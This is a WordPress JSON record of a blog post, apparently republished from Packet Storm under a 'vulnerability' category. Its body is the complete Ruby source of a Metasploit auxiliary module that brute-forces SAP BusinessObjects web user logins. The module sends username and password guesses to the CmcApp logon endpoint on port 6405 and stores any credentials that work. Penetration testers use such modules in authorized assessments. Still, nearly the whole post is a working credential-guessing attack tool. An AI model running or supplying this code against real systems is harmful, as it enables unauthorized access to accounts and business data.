{"id":59385,"date":"2024-09-01T23:40:41","date_gmt":"2024-09-01T20:40:41","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/181204\/sap_businessobjects_user_brute_web.rb.txt"},"modified":"2024-09-01T23:40:41","modified_gmt":"2024-09-01T20:40:41","slug":"sap-businessobjects-web-user-bruteforcer","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/sap-businessobjects-web-user-bruteforcer\/","title":{"rendered":"SAP BusinessObjects Web User Bruteforcer"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Exploit::Remote::HttpClient<br \/>include Msf::Auxiliary::Report<br \/>include Msf::Auxiliary::AuthBrute<br \/>include Msf::Auxiliary::Scanner<\/p>\n<p>def initialize<br \/>super(<br \/>&#8216;Name&#8217; =&gt; &#8216;SAP BusinessObjects Web User Bruteforcer&#8217;,<br \/>&#8216;Description&#8217; =&gt; &#8216;This module simply attempts to bruteforce SAP BusinessObjects users by using CmcApp.&#8217;,<br \/>&#8216;References&#8217; =&gt;<br \/>[<br \/># General<br \/>[ &#8216;URL&#8217;, &#8216;http:\/\/spl0it.org\/files\/talks\/source_barcelona10\/Hacking%20SAP%20BusinessObjects.pdf&#8217; ]],<br \/>&#8216;Author&#8217; =&gt; [ &#8216;Joshua Abraham &lt;jabra[at]rapid7.com&gt;&#8217; ],<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE<br \/>)<\/p>\n<p>register_options(<br \/>[<br \/>Opt::RPORT(6405),<br \/>])<br \/>register_autofilter_ports([ 6405 ])<br \/>end<\/p>\n<p>def run_host(ip)<br \/>res = send_request_cgi({<br \/>&#8216;uri&#8217; =&gt; &#8220;\/PlatformServices\/service\/app\/logon.object&#8221;,<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;<br \/>}, 25)<br \/>return if not res<\/p>\n<p>each_user_pass { |user, pass|<br \/>enum_user(user,pass)<br \/>}<br \/>end<\/p>\n<p>def report_cred(opts)<br \/>service_data = {<br \/>address: opts[:ip],<br \/>port: opts[:port],<br \/>service_name: opts[:service_name],<br \/>protocol: &#8216;tcp&#8217;,<br \/>workspace_id: myworkspace_id<br \/>}<\/p>\n<p>credential_data = {<br \/>origin_type: :service,<br \/>module_fullname: fullname,<br \/>username: opts[:user],<br \/>private_data: opts[:password],<br \/>private_type: :password<br \/>}.merge(service_data)<\/p>\n<p>login_data = {<br \/>last_attempted_at: Time.now,<br \/>core: create_credential(credential_data),<br \/>status: Metasploit::Model::Login::Status::SUCCESSFUL,<br \/>proof: opts[:proof]}.merge(service_data)<\/p>\n<p>create_credential_login(login_data)<br \/>end<\/p>\n<p>def enum_user(user, pass)<br \/>vprint_status(&#8220;#{rhost}:#{rport} &#8211; Trying username:&#8217;#{user}&#8217; password: &#8216;#{pass}'&#8221;)<br \/>success = false<br \/>data = &#8216;isFromLogonPage=true&amp;cms=127.0.1%3A6400&#8217;<br \/>data &lt;&lt; &#8220;&amp;username=#{Rex::Text.uri_encode(user.to_s)}&#8221;<br \/>data &lt;&lt; &#8220;&amp;password=#{Rex::Text.uri_encode(pass.to_s)}&#8221;<br \/>data &lt;&lt; &#8216;&amp;authType=secEnterprise&amp;backUrl=%2FApp%2Fhome.faces&#8217;<br \/>begin<br \/>res = send_request_cgi({<br \/>&#8216;uri&#8217; =&gt; &#8216;\/PlatformServices\/service\/app\/logon.object&#8217;,<br \/>&#8216;data&#8217; =&gt; data,<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;headers&#8217; =&gt;<br \/>{<br \/>&#8216;Connection&#8217; =&gt; &#8220;keep-alive&#8221;,<br \/>&#8216;Accept-Encoding&#8217; =&gt; &#8220;gzip,deflate&#8221;,<br \/>},<br \/>}, 45)<br \/>return :abort if (!res or (res and res.code != 200))<br \/>if(res.body.match(\/Account Information\/i))<br \/>success = false<br \/>else<br \/>success = true<br \/>success<br \/>end<\/p>\n<p>rescue ::Rex::ConnectionError<br \/>vprint_error(&#8220;[SAP BusinessObjects] Unable to attempt authentication&#8221;)<br \/>return :abort<br \/>end<\/p>\n<p>if success<br \/>print_good(&#8220;[SAP BusinessObjects] Successful login &#8216;#{user}&#8217; password: &#8216;#{pass}'&#8221;)<br \/>report_cred(<br \/>ip: rhost,<br \/>port: rport,<br \/>service_name: &#8216;sap-businessobjects&#8217;,<br \/>user: user,<br \/>password: pass,<br \/>proof: res.body<br \/>)<br \/>return :next_user<br \/>else<br \/>vprint_error(&#8220;[SAP BusinessObjects] failed to login as &#8216;#{user}&#8217; password: &#8216;#{pass}'&#8221;)<br \/>return<br \/>end<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Exploit::Remote::HttpClientinclude Msf::Auxiliary::Reportinclude Msf::Auxiliary::AuthBruteinclude Msf::Auxiliary::Scanner def initializesuper(&#8216;Name&#8217; =&gt; &#8216;SAP BusinessObjects Web User Bruteforcer&#8217;,&#8216;Description&#8217; =&gt; &#8216;This module simply attempts to bruteforce SAP BusinessObjects users by using CmcApp.&#8217;,&#8216;References&#8217; =&gt;[# General[ &#8216;URL&#8217;, &#8216;http:\/\/spl0it.org\/files\/talks\/source_barcelona10\/Hacking%20SAP%20BusinessObjects.pdf&#8217; ]],&#8216;Author&#8217; =&gt; [ &#8216;Joshua Abraham &lt;jabra[at]rapid7.com&gt;&#8217; ],&#8216;License&#8217; =&gt; MSF_LICENSE) register_options([Opt::RPORT(6405),])register_autofilter_ports([ 6405 ])end def &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59385","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59385","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59385"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59385\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59385"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59385"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59385"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}